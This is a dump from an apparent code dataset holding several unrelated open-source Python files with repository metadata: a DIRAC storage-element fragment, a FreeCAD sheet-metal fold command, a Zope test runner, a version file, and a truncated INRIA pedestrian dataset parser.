x: getIndexInList(x, protocolList) ) log.debug("Common protocols %s" % commonProtocols) return S_OK(list(commonProtocols)) ################################################################################################# # # These are the basic get functions for lfn manipulation # def __getURLPath(self, url): """ Get the part of the URL path below the basic storage path. This path must coincide with the LFN of the file in order to be compliant with the DIRAC conventions. """ log = self.log.getSubLogger('__getURLPath') log.verbose("Getting path from url in %s." % self.name) if not self.valid: return S_ERROR(self.errorReason) res = pfnparse(url) if not res['OK']: return res fullURLPath = '%s/%s' % (res['Value']['Path'], res['Value']['FileName']) # Check all available storages and check whether the url is for that protocol urlPath = '' for storage in self.storages: res = storage.isNativeURL(url) if res['OK']: if res['Value']: parameters = storage.getParameters() saPath = parameters['Path'] if not saPath: # If the sa path doesn't exist then the url path is the entire string urlPath = fullURLPath else: if re.search(saPath, fullURLPath): # Remove the sa path from the fullURLPath urlPath = fullURLPath.replace(saPath, '') if urlPath: return S_OK(urlPath) # This should never happen. DANGER!! errStr = "Failed to get the url path for any of the protocols!!" log.debug(errStr) return S_ERROR(errStr) def getLFNFromURL(self, urls): """ Get the LFN from the PFNS . :param lfn: input lfn or lfns (list/dict) """ result = checkArgumentFormat(urls) if result['OK']: urlDict = result['Value'] else: errStr = "Supplied urls must be string, list of strings or a dictionary." self.log.getSubLogger('getLFNFromURL').debug(errStr) return S_ERROR(errno.EINVAL, errStr) retDict = {"Successful": {}, "Failed": {}} for url in urlDict: res = self.__getURLPath(url) if res["OK"]: retDict["Successful"][url] = res["Value"] else: retDict["Failed"][url] = res["Message"] return S_OK(retDict) ########################################################################################### # # This is the generic wrapper for file operations # def getURL(self, lfn, protocol=False, replicaDict=None): """ execute 'getTransportURL' operation. :param str lfn: string, list or dictionary of lfns :param protocol: if no protocol is specified, we will request self.turlProtocols :param replicaDict: optional results from the File Catalog replica query """ self.log.getSubLogger('getURL').verbose("Getting accessUrl %s for lfn in %s." % ("(%s)" % protocol if protocol else "", self.name)) if not protocol: # This turlProtocols seems totally useless. # Get ride of it when gfal2 is totally ready # and replace it with the localAccessProtocol list protocols = self.turlProtocols elif isinstance(protocol, list): protocols = protocol elif isinstance(protocol, six.string_types): protocols = [protocol] self.methodName = "getTransportURL" result = self.__executeMethod(lfn, protocols=protocols) return result def __isLocalSE(self): """ Test if the Storage Element is local in the current context """ self.log.getSubLogger('LocalSE').verbose("Determining whether %s is a local SE." % self.name) import DIRAC localSEs = getSEsForSite(DIRAC.siteName())['Value'] if self.name in localSEs: return S_OK(True) else: return S_OK(False) def __getFileCatalog(self): if not self.__fileCatalog: self.__fileCatalog = FileCatalog(vo=self.vo) return self.__fileCatalog def __generateURLDict(self, lfns, storage, replicaDict=None): """ Generates a dictionary (url : lfn ), where the url are constructed from the lfn using the constructURLFromLFN method of the storage plugins. :param lfns: dictionary {lfn:whatever} :returns: dictionary {constructed url : lfn} """ log = self.log.getSubLogger("__generateURLDict") log.verbose("generating url dict for %s lfn in %s." % (len(lfns), self.name)) if not replicaDict: replicaDict = {} urlDict = {} # url : lfn failed = {} # lfn : string with errors for lfn in lfns: if self.useCatalogURL: # Is this self.name alias proof? url = replicaDict.get(lfn, {}).get(self.name, '') if url: urlDict[url] = lfn continue else: fc = self.__getFileCatalog() result = fc.getReplicas() if not result['OK']: failed[lfn] = result['Message'] url = result['Value']['Successful'].get(lfn, {}).get(self.name, '') if not url: failed[lfn] = 'Failed to get catalog replica' else: # Update the URL according to the current SE description result = returnSingleResult(storage.updateURL(url)) if not result['OK']: failed[lfn] = result['Message'] else: urlDict[result['Value']] = lfn else: result = storage.constructURLFromLFN(lfn, withWSUrl=True) if not result['OK']: errStr = result['Message'] log.debug(errStr, 'for %s' % (lfn)) failed[lfn] = "%s %s" % (failed[lfn], errStr) if lfn in failed else errStr else: urlDict[result['Value']] = lfn res = S_OK({'Successful': urlDict, 'Failed': failed}) # res['Failed'] = failed return res def __filterPlugins(self, methodName, protocols=None, inputProtocol=None): """ Determine the list of plugins that can be used for a particular action Args: method(str): method to execute protocols(list): specific protocols might be requested inputProtocol(str): in case the method is putFile, this specifies the protocol given as source Returns: list: list of storage plugins """ log = self.log.getSubLogger('__filterPlugins', child=True) log.debug( "Filtering plugins for %s (protocol = %s ; inputProtocol = %s)" % (methodName, protocols, inputProtocol)) if isinstance(protocols, six.string_types): protocols = [protocols] pluginsToUse = [] potentialProtocols = [] allowedProtocols = [] if methodName in self.readMethods + self.checkMethods: allowedProtocols = self.localAccessProtocolList elif methodName in self.stageMethods: allowedProtocols = self.localStageProtocolList elif methodName in self.removeMethods + self.writeMethods: allowedProtocols = self.localWriteProtocolList else: # OK methods # If a protocol or protocol list is specified, we only use the plugins that # can generate such protocol # otherwise we return them all if protocols: setProtocol = set(protocols) for plugin in self.storages: if set(plugin.protocolParameters.get("OutputProtocols", [])) & setProtocol: log.debug("Plugin %s can generate compatible protocol" % plugin.pluginName) pluginsToUse.append(plugin) else: pluginsToUse = self.storages # The closest list for "OK" methods is the AccessProtocol preference, so we sort based on that pluginsToUse.sort( key=lambda x: getIndexInList( x.protocolParameters['Protocol'], self.localAccessProtocolList)) log.debug("Plugins to be used for %s: %s" % (methodName, [p.pluginName for p in pluginsToUse])) return pluginsToUse log.debug("Allowed protocol: %s" % allowedProtocols) # if a list of protocol is specified, take it into account if protocols: potentialProtocols = list(set(allowedProtocols) & set(protocols)) else: potentialProtocols = allowedProtocols log.debug('Potential protocols %s' % potentialProtocols) localSE = self.__isLocalSE()['Value'] for plugin in self.storages: # Determine whether to use this storage object pluginParameters = plugin.getParameters() pluginName = pluginParameters.get('PluginName') if not pluginParameters: log.debug("Failed to get storage parameters.", "%s %s" % (self.name, pluginName)) continue if not (pluginName in self.remotePlugins) and not localSE and not pluginName == "Proxy": # If the SE is not local then we can't use local protocols log.debug("Local protocol not appropriate for remote use: %s." % pluginName) continue if pluginParameters['Protocol'] not in potentialProtocols: log.debug("Plugin %s not allowed for %s." % (pluginName, methodName)) continue # If we are attempting a putFile and we know the inputProtocol if methodName == 'putFile' and inputProtocol: if inputProtocol not in pluginParameters['InputProtocols']: log.debug( "Plugin %s not appropriate for %s protocol as input." % (pluginName, inputProtocol)) continue pluginsToUse.append(plugin) # sort the plugins according to the lists in the CS pluginsToUse.sort( key=lambda x: getIndexInList( x.protocolParameters['Protocol'], allowedProtocols)) log.debug("Plugins to be used for %s: %s" % (methodName, [p.pluginName for p in pluginsToUse])) return pluginsToUse def __executeMethod(self, lfn, *args, **kwargs): """ Forward the call to each storage in turn until one works. The method to be executed is stored in self.methodName :param lfn: string, list or dictionary :param *args: variable amount of non-keyword arguments. SHOULD BE EMPTY :param **kwargs: keyword arguments A special argument is 'protocols', which will be used by the StorageElement to filter the usable plugins. Unless the method being executed is getTransportURL, this parameter is removed from kwargs. A special kwargs is 'inputProtocol', which can be specified for putFile. It describes the protocol used as source protocol, since there is in principle only one. :returns: S_OK( { 'Failed': {lfn : reason} , 'Successful': {lfn : value} } ) The Failed dict contains the lfn only if the operation failed on all the storages The Successful dict contains the value returned by the successful storages. """ removedArgs = {} log = self.log.getSubLogger('__executeMethod') log.verbose("preparing the execution of %s" % (self.methodName)) # args should normaly be empty to avoid problem... if args: log.verbose("args should be empty!%s" % args) # because there is normally only one kw argument, I can move it from args to kwargs methDefaultArgs = list(StorageElementItem.__defaultsArguments.get(self.methodName, {})) if methDefaultArgs: kwargs[methDefaultArgs[0]] = args[0] args = args[1:] log.verbose( "put it in kwargs, but dirty and might be dangerous!args %s kwargs %s" % (args, kwargs)) # We check the deprecated arguments for depArg in StorageElementItem.__deprecatedArguments: if depArg in kwargs: log.verbose("%s is not an allowed argument anymore. Please change your code!" % depArg) removedArgs[depArg] = kwargs[depArg] del kwargs[depArg] # Set default argument if any methDefaultArgs = StorageElementItem.__defaultsArguments.get(self.methodName, {}) for argName in methDefaultArgs: if argName not in kwargs: log.debug("default argument %s for %s not present.\ Setting value %s." % (argName, self.methodName, methDefaultArgs[argName])) kwargs[argName] = methDefaultArgs[argName] res = checkArgumentFormat(lfn) if not res['OK']: errStr = "Supplied lfns must be string, list of strings or a dictionary." log.debug(errStr) return res lfnDict = res['Value'] log.verbose( "Attempting to perform '%s' operation with %s lfns." % (self.methodName, len(lfnDict))) res = self.isValid(operation=self.methodName) if not res['OK']: return res else: if not self.valid: return S_ERROR(self.errorReason) # In case executing putFile, we can assume that all the source urls # are from the same protocol. This optional parameter, if defined # can be used to ignore some storage plugins and thus save time # and avoid fake failures showing in the accounting inputProtocol = kwargs.pop('inputProtocol', None) # the 'protocols' parameter is only given to the plugin when calling getTransportURL. # The other methods do not expect it. protocols = kwargs.get('protocols') if self.methodName != 'getTransportURL': kwargs.pop('protocols', None) successful = {} failed = {} filteredPlugins = self.__filterPlugins(self.methodName, protocols, inputProtocol) if not filteredPlugins: return S_ERROR(errno.EPROTONOSUPPORT, "No storage plugins matching the requirements\ (operation %s protocols %s inputProtocol %s)" % (self.methodName, protocols, inputProtocol)) # Try all of the storages one by one for storage in filteredPlugins: # Determine whether to use this storage object storageParameters = storage.getParameters() pluginName = storageParameters['PluginName'] if not lfnDict: log.debug("No lfns to be attempted for %s protocol." % pluginName) continue log.verbose("Generating %s protocol URLs for %s." % (len(lfnDict), pluginName)) replicaDict = kwargs.pop('replicaDict', {}) if storage.pluginName != "Proxy": res = self.__generateURLDict(lfnDict, storage, replicaDict=replicaDict) urlDict = res['Value']['Successful'] # url : lfn failed.update(res['Value']['Failed']) else: urlDict = dict([(lfn, lfn) for lfn in lfnDict]) if not urlDict: log.verbose("__executeMethod No urls generated for protocol %s." % pluginName) else: log.verbose( "Attempting to perform '%s' for %s physical files" % (self.methodName, len(urlDict))) fcn = None if hasattr(storage, self.methodName) and callable(getattr(storage, self.methodName)): fcn = getattr(storage, self.methodName) if not fcn: return S_ERROR( DErrno.ENOMETH, "SE.__executeMethod: unable to invoke %s, it isn't a member function of storage") urlsToUse = {} # url : the value of the lfn dictionary for the lfn of this url for url in urlDict: urlsToUse[url] = lfnDict[urlDict[url]] startDate = datetime.datetime.utcnow() startTime = time.time() res = fcn(urlsToUse, *args, **kwargs) elapsedTime = time.time() - startTime self.addAccountingOperation(urlsToUse, startDate, elapsedTime, storageParameters, res) if not res['OK']: errStr = "Completely failed to perform %s." % self.methodName log.verbose(errStr, 'with plugin %s: %s' % (pluginName, res['Message'])) for lfn in urlDict.values(): if lfn not in failed: failed[lfn] = '' failed[lfn] = "%s %s" % (failed[lfn], res['Message']) if failed[lfn] else res['Message'] else: for url, lfn in urlDict.items(): if url not in res['Value']['Successful']: if lfn not in failed: failed[lfn] = '' if url in res['Value']['Failed']: self.log.verbose( "Failure in plugin to perform %s" % self.methodName, "Plugin: %s lfn: %s error %s" % (pluginName, lfn, res['Value']['Failed'][url])) failed[lfn] = "%s %s" % (failed[lfn], res['Value']['Failed'][url] ) if failed[lfn] else res['Value']['Failed'][url] else: errStr = 'No error returned from plug-in' failed[lfn] = "%s %s" % (failed[lfn], errStr) if failed[lfn] else errStr else: successful[lfn] = res['Value']['Successful'][url] if lfn in failed: failed.pop(lfn) lfnDict.pop(lfn) gDataStoreClient.commit() return S_OK({'Failed': failed, 'Successful': successful}) def __getattr__(self, name): """ Forwards the equivalent Storage calls to __executeMethod""" # We take either the equivalent name, or the name itself self.methodName = StorageElementItem.__equivalentMethodNames.get(name, None) if self.methodName: return self.__executeMethod raise AttributeError("StorageElement does not have a method '%s'" % name) def addAccountingOperation(self, lfns, startDate, elapsedTime, storageParameters, callRes): """ Generates a DataOperation accounting if needs to be, and adds it to the DataStore client cache :param lfns: list of lfns on which we attempted the operation :param startDate: datetime, start of the operation :param elapsedTime: time (seconds) the operation took :param storageParameters: the parameters of the plugins used to perform the operation :param callRes: the return of the method call, S_OK or S_ERROR The operation is generated with the OperationType "se.methodName" The TransferSize and TransferTotal for directory methods actually take into account the files inside the directory, and not the amount of directory given as parameter """ if self.methodName not in (self.readMethods + self.writeMethods + self.removeMethods + self.stageMethods): return baseAccountingDict = {} baseAccountingDict['OperationType'] = 'se.%s' % self.methodName baseAccountingDict['User'] = getProxyInfo().get('Value', {}).get('username', 'unknown') baseAccountingDict['RegistrationTime'] = 0.0 baseAccountingDict['RegistrationOK'] = 0 baseAccountingDict['RegistrationTotal'] = 0 # if it is a get method, then source and destination of the transfer should be inverted if self.methodName == 'getFile': baseAccountingDict['Destination'] = siteName() baseAccountingDict['Source'] = self.name else: baseAccountingDict['Destination'] = self.name baseAccountingDict['Source'] = siteName() baseAccountingDict['TransferTotal'] = 0 baseAccountingDict['TransferOK'] = 0 baseAccountingDict['TransferSize'] = 0 baseAccountingDict['TransferTime'] = 0.0 baseAccountingDict['FinalStatus'] = 'Successful' oDataOperation = DataOperation() oDataOperation.setValuesFromDict(baseAccountingDict) oDataOperation.setStartTime(startDate) oDataOperation.setEndTime(startDate + datetime.timedelta(seconds=elapsedTime)) oDataOperation.setValueByKey('TransferTime', elapsedTime) oDataOperation.setValueByKey('Protocol', storageParameters.get('Protocol', 'unknown')) if not callRes['OK']: # Everything failed oDataOperation.setValueByKey('TransferTotal', len(lfns)) oDataOperation.setValueByKey('FinalStatus', 'Failed') else: succ = callRes.get('Value', {}).get('Successful', {}) failed = callRes.get('Value', {}).get('Failed', {}) totalSize = 0 # We don't take len(lfns) in order to make two # separate entries in case of few failures totalSucc = len(succ) if self.methodName in ('putFile', 'getFile'): # putFile and getFile return for each entry # in the successful dir the size of the corresponding file totalSize = sum(succ.values()) elif self.methodName in ('putDirectory', 'getDirectory'): # putDirectory and getDirectory return for each dir name # a dictionnary with the keys 'Files' and 'Size' totalSize = sum(val.get('Size', 0) for val in succ.values() if isinstance(val, dict)) totalSucc = sum(val.get('Files', 0) for val in succ.values() if isinstance(val, dict)) oDataOperation.setValueByKey('TransferOK', len(succ)) oDataOperation.setValueByKey('TransferSize', totalSize) oDataOperation.setValueByKey('TransferTotal', totalSucc) oDataOperation.setValueByKey('TransferOK', totalSucc) if callRes['Value']['Failed']: oDataOperationFailed = copy.deepcopy(oDataOperation) oDataOperationFailed.setValueByKey('TransferTotal', len(failed)) oDataOperationFailed.setValueByKey('TransferOK', 0) oDataOperationFailed.setValueByKey('TransferSize', 0) oDataOperationFailed.setValueByKey('FinalStatus', 'Failed') accRes = gDataStoreClient.addRegister(oDataOperationFailed) if not accRes['OK']: self.log.error("Could not send failed accounting report", accRes['Message']) accRes = gDataStoreClient.addRegister(oDataOperation) if not accRes['OK']: self.log.error("Could not send accounting report", accRes['Message']) StorageElement = StorageElementCache()
yujikato/DIRAC
src/DIRAC/Resources/Storage/StorageElement.py
Python
gpl-3.0
55,195
# -*- coding: utf-8 -*- ############################################################################## # # SheetMetalFoldCmd.py # # Copyright 2015 Shai Seger <shaise at gmail dot com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. # # ############################################################################## from FreeCAD import Gui from PySide import QtCore, QtGui import FreeCAD, Part, os, math __dir__ = os.path.dirname(__file__) iconPath = os.path.join( __dir__, 'Resources', 'icons' ) smEpsilon = 0.0000001 import SheetMetalBendSolid def smWarnDialog(msg): diag = QtGui.QMessageBox(QtGui.QMessageBox.Warning, 'Error in macro MessageBox', msg) diag.setWindowModality(QtCore.Qt.ApplicationModal) diag.exec_() def smBelongToBody(item, body): if (body is None): return False for obj in body.Group: if obj.Name == item.Name: return True return False def smIsPartDesign(obj): return str(obj).find("<PartDesign::") == 0 def smIsOperationLegal(body, selobj): #FreeCAD.Console.PrintLog(str(selobj) + " " + str(body) + " " + str(smBelongToBody(selobj, body)) + "\n") if smIsPartDesign(selobj) and not smBelongToBody(selobj, body): smWarnDialog("The selected geometry does not belong to the active Body.\nPlease make the container of this item active by\ndouble clicking on it.") return False return True def smthk(obj, foldface) : normal = foldface.normalAt(0,0) theVol = obj.Volume if theVol < 0.0001: SMError("Shape is not a real 3D-object or to small for a metal-sheet!") else: # Make a first estimate of the thickness estimated_thk = theVol/(obj.Area / 2.0) # p1 = foldface.CenterOfMass p1 = foldface.Vertexes[0].Point p2 = p1 + estimated_thk * -1.5 * normal e1 = Part.makeLine(p1, p2) thkedge = obj.common(e1) thk = thkedge.Length return thk def smCutFace(Face, obj) : # find face Modified During loop for face in obj.Faces : face_common = face.common(Face) if face_common.Faces : break return face def smFold(bendR = 1.0, bendA = 90.0, kfactor = 0.5, invertbend = False, flipped = False, unfold = False, position = "forward", bendlinesketch = None, selFaceNames = '', MainObject = None): import BOPTools.SplitFeatures, BOPTools.JoinFeatures FoldShape = MainObject.Shape # restrict angle if (bendA < 0): bendA = -bendA flipped = not flipped if not(unfold) : if bendlinesketch and bendA > 0.0 : foldface = FoldShape.getElement(selFaceNames[0]) tool = bendlinesketch.Shape.copy() normal = foldface.normalAt(0,0) thk = smthk(FoldShape, foldface) print(thk) # if not(flipped) : #offset = thk * kfactor #else : #offset = thk * (1 - kfactor ) unfoldLength = ( bendR + kfactor * thk ) * bendA * math.pi / 180.0 neutralRadius = ( bendR + kfactor * thk ) #neutralLength = ( bendR + kfactor * thk ) * math.tan(math.radians(bendA / 2.0)) * 2.0 #offsetdistance = neutralLength - unfoldLength #scalefactor = neutralLength / unfoldLength #print([neutralRadius, neutralLength, unfoldLength, offsetdistance, scalefactor]) #To get facedir toolFaces = tool.extrude(normal * -thk) #Part.show(toolFaces, "toolFaces") cutSolid = BOPTools.SplitAPI.slice(FoldShape, toolFaces.Faces, "Standard", 0.0) #Part.show(cutSolid,"cutSolid_check") if not(invertbend) : solid0 = cutSolid.childShapes()[0] else : solid0 = cutSolid.childShapes()[1] cutFaceDir = smCutFace(toolFaces.Faces[0], solid0) #Part.show(cutFaceDir,"cutFaceDir") facenormal = cutFaceDir.Faces[0].normalAt(0,0) #print(facenormal) if position == "middle" : tool.translate(facenormal * -unfoldLength / 2.0 ) toolFaces = tool.extrude(normal * -thk) elif position == "backward" : tool.translate(facenormal * -unfoldLength ) toolFaces = tool.extrude(normal * -thk) #To get split solid solidlist = [] toolExtr = toolFaces.extrude(facenormal * unfoldLength) #Part.show(toolExtr,"toolExtr") CutSolids = FoldShape.cut(toolExtr) #Part.show(Solids,"Solids") solid2list, solid1list = [], [] for solid in CutSolids.Solids : checksolid = toolFaces.common(solid) if checksolid.Faces : solid1list.append(solid) else : solid2list.append(solid) if len(solid1list) > 1 : solid0 = solid1list[0].multiFuse(solid1list[1:]) else : solid0 = solid1list[0] #Part.show(solid0,"solid0") if len(solid2list) > 1 : solid1 = solid2list[0].multiFuse(solid2list[1:]) else : solid1 = solid2list[0] #Part.show(solid0,"solid0") #Part.show(solid1,"solid1") bendEdges = FoldShape.common(tool) #Part.show(bendEdges,"bendEdges") bendEdge = bendEdges.Edges[0] if not(flipped) : revAxisP = bendEdge.valueAt(bendEdge.FirstParameter) + normal * bendR else : revAxisP = bendEdge.valueAt(bendEdge.FirstParameter) - normal * (thk + bendR) revAxisV = bendEdge.valueAt(bendEdge.LastParameter) - bendEdge.valueAt(bendEdge.FirstParameter) revAxisV.normalize() # To check sktech line direction if (normal.cross(revAxisV).normalize() - facenormal).Length > smEpsilon: revAxisV = revAxisV * -1 #print(revAxisV) if flipped : revAxisV = revAxisV * -1 #print(revAxisV) # To get bend surface # revLine = Part.LineSegment(tool.Vertexes[0].Point, tool.Vertexes[-1].Point ).toShape() # bendSurf = revLine.revolve(revAxisP, revAxisV, bendA) #Part.show(bendSurf,"bendSurf") # bendSurfTest = bendSurf.makeOffsetShape(bendR/2.0, 0.0, fill = False) # #Part.show(bendSurfTest,"bendSurfTest") # offset = 1 # if bendSurfTest.Area < bendSurf.Area and not(flipped) : # offset = -1 # elif bendSurfTest.Area > bendSurf.Area and flipped : # offset = -1 # #print(offset) # To get bend solid flatsolid = FoldShape.cut(solid0) flatsolid = flatsolid.cut( solid1) #Part.show(flatsolid,"flatsolid") flatfaces = foldface.common(flatsolid) #Part.show(flatfaces,"flatface") solid1.translate(facenormal * (-unfoldLength)) #Part.show(solid1,"solid1") solid1.rotate(revAxisP, revAxisV, bendA) #Part.show(solid1,"rotatedsolid1") # bendSolidlist =[] for flatface in flatfaces.Faces : bendsolid = SheetMetalBendSolid.BendSolid(flatface, bendEdge, bendR, thk, neutralRadius, revAxisV, flipped) #Part.show(bendsolid,"bendsolid") solidlist.append(bendsolid) solidlist.append(solid0) solidlist.append(solid1) #resultsolid = Part.makeCompound(solidlist) #resultsolid = BOPTools.JoinAPI.connect(solidlist) resultsolid = solidlist[0].multiFuse(solidlist[1:]) else : if bendlinesketch and bendA > 0.0 : resultsolid = FoldShape Gui.ActiveDocument.getObject(MainObject.Name).Visibility = False Gui.ActiveDocument.getObject(bendlinesketch.Name).Visibility = False return resultsolid class SMFoldWall: def __init__(self, obj): '''"Fold / Bend a Sheetmetal with given Bend Radius" ''' selobj = Gui.Selection.getSelectionEx() _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Bend Radius") obj.addProperty("App::PropertyLength","radius","Parameters",_tip_).radius = 1.0 _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Bend Angle") obj.addProperty("App::PropertyAngle","angle","Parameters",_tip_).angle = 90.0 _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Base Object") obj.addProperty("App::PropertyLinkSub", "baseObject", "Parameters",_tip_).baseObject = (selobj[0].Object, selobj[0].SubElementNames) _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Bend Reference Line List") obj.addProperty("App::PropertyLink","BendLine","Parameters",_tip_).BendLine = selobj[1].Object _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Invert Solid Bend Direction") obj.addProperty("App::PropertyBool","invertbend","Parameters",_tip_).invertbend = False _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Neutral Axis Position") obj.addProperty("App::PropertyFloatConstraint","kfactor","Parameters",_tip_).kfactor = (0.5,0.0,1.0,0.01) _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Invert Bend Direction") obj.addProperty("App::PropertyBool","invert","Parameters",_tip_).invert = False _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Unfold Bend") obj.addProperty("App::PropertyBool","unfold","Parameters",_tip_).unfold = False _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Bend Line Position") obj.addProperty("App::PropertyEnumeration", "Position", "Parameters",_tip_).Position = ["forward", "middle", "backward"] obj.Proxy = self def execute(self, fp): '''"Print a short message when doing a recomputation, this method is mandatory" ''' if (not hasattr(fp,"Position")): _tip_ = QtCore.QT_TRANSLATE_NOOP("App::Property","Bend Line Position") fp.addProperty("App::PropertyEnumeration", "Position", "Parameters",_tip_).Position = ["forward", "middle", "backward"] s = smFold(bendR = fp.radius.Value, bendA = fp.angle.Value, flipped = fp.invert, unfold = fp.unfold, kfactor = fp.kfactor, bendlinesketch = fp.BendLine, position = fp.Position, invertbend = fp.invertbend, selFaceNames = fp.baseObject[1], MainObject = fp.baseObject[0]) fp.Shape = s class SMFoldViewProvider: "A View provider that nests children objects under the created one" def __init__(self, obj): obj.Proxy = self self.Object = obj.Object def attach(self, obj): self.Object = obj.Object return def updateData(self, fp, prop): return def getDisplayModes(self,obj): modes=[] return modes def setDisplayMode(self,mode): return mode def onChanged(self, vp, prop): return def __getstate__(self): # return {'ObjectName' : self.Object.Name} return None def __setstate__(self,state): if state is not None: import FreeCAD doc = FreeCAD.ActiveDocument #crap self.Object = doc.getObject(state['ObjectName']) def claimChildren(self): objs = [] if hasattr(self.Object,"baseObject"): objs.append(self.Object.baseObject[0]) objs.append(self.Object.BendLine) return objs def getIcon(self): return os.path.join( iconPath , 'SheetMetal_AddFoldWall.svg') class SMFoldPDViewProvider: "A View provider that nests children objects under the created one" def __init__(self, obj): obj.Proxy = self self.Object = obj.Object def attach(self, obj): self.Object = obj.Object return def updateData(self, fp, prop): return def getDisplayModes(self,obj): modes=[] return modes def setDisplayMode(self,mode): return mode def onChanged(self, vp, prop): return def __getstate__(self): # return {'ObjectName' : self.Object.Name} return None def __setstate__(self,state): if state is not None: import FreeCAD doc = FreeCAD.ActiveDocument #crap self.Object = doc.getObject(state['ObjectName']) def claimChildren(self): objs = [] if hasattr(self.Object,"BendLine"): objs.append(self.Object.BendLine) return objs def getIcon(self): return os.path.join( iconPath , 'SheetMetal_AddFoldWall.svg') class AddFoldWallCommandClass(): """Add Fold Wall command""" def GetResources(self): return {'Pixmap' : os.path.join( iconPath , 'SheetMetal_AddFoldWall.svg'), # the name of a svg file available in the resources 'MenuText': QtCore.QT_TRANSLATE_NOOP('SheetMetal','Fold a Wall'), 'Accel': "C, F", 'ToolTip' : QtCore.QT_TRANSLATE_NOOP('SheetMetal','Fold a wall of metal sheet\n' '1. Select a flat face on sheet metal and\n' '2. Select a bend line(sketch) on same face(size more than face) to create sheetmetal fold.\n' '3. Use Property editor to modify other parameters')} def Activated(self): doc = FreeCAD.ActiveDocument view = Gui.ActiveDocument.ActiveView activeBody = None selobj = Gui.Selection.getSelectionEx()[0].Object if hasattr(view,'getActiveObject'): activeBody = view.getActiveObject('pdbody') if not smIsOperationLegal(activeBody, selobj): return doc.openTransaction("Bend") if activeBody is None or not smIsPartDesign(selobj): a = doc.addObject("Part::FeaturePython","Fold") SMFoldWall(a) SMFoldViewProvider(a.ViewObject) else: #FreeCAD.Console.PrintLog("found active body: " + activeBody.Name) a = doc.addObject("PartDesign::FeaturePython","Fold") SMFoldWall(a) SMFoldPDViewProvider(a.ViewObject) activeBody.addObject(a) doc.recompute() doc.commitTransaction() return def IsActive(self): if len(Gui.Selection.getSelection()) < 2 : return False selFace = Gui.Selection.getSelectionEx()[0].SubObjects[0] if type(selFace) != Part.Face: return False selobj = Gui.Selection.getSelection()[1] if not(selobj.isDerivedFrom('Sketcher::SketchObject')) : return False return True Gui.addCommand('SMFoldWall',AddFoldWallCommandClass())
shaise/FreeCAD_SheetMetal
SheetMetalFoldCmd.py
Python
gpl-3.0
14,138
############################################################################## # # Copyright (c) 2004 Zope Corporation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## import unittest from zope.testing import doctest def test_suite(): return unittest.TestSuite(( doctest.DocFileSuite('../testmessagecatalog.txt'), )) if __name__ == '__main__': unittest.main(defaultTest='test_suite')
Donkyhotay/MoonPy
zope/i18n/tests/test_testmessagecatalog.py
Python
gpl-3.0
881
# # The MIT License (MIT) # # Copyright (c) 2015 Philippe Faist # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # version_str = "1.1"
Xunius/Menotexport
lib/pylatexenc/version.py
Python
gpl-3.0
1,149
# Copyright (C) 2010 Michael Mathieu <michael.mathieu@ens.fr> # # This file is part of visiongrader. # # visiongrader is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # visiongrader is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with visiongrader. If not, see <http://www.gnu.org/licenses/>. # # Authors : # Michael Mathieu <michael.mathieu@ens.fr> from dataset import DataSet from objects import BoundingBox, WholeImage import os import os.path data_type = "posneg" name = "INRIA_Bool_Parser" def describe(): return "Parser for the pos/neg INRIA pedestrian dataset" def recognize(file): return False def parse(path, crawl = False): if crawl == True: raise StandardError() pos_filename = os.path.join(path, "pos.lst") neg_filename = os.path.join(path, "neg.lst") pos_dir = os.path.join(path, "pos") neg_dir = os.path.join(path, "neg") if not os.path.isfile(pos_filename): print "%s is not a file."%(pos_filename,) return None if not os.path.isfile(neg_filename): print "%s is not a file."%(neg_filename,) return None if not os.path.isdir(pos_dir): print "%s is not a directory."%(pos_dir,) return None if not os.path.isdir(neg_dir): print "%s is not a directory."%(neg_dir,) return None ret = DataSet() pos = open(pos_filename, "r") pos_names = [line[line.rfind("/")+1:] for line in pos.read().split()] pos.close() for name in pos_names: filename = os.path.join(pos_dir, name) ret.add_obj(name, WholeImage(name)) neg = open(neg_filename, "r") 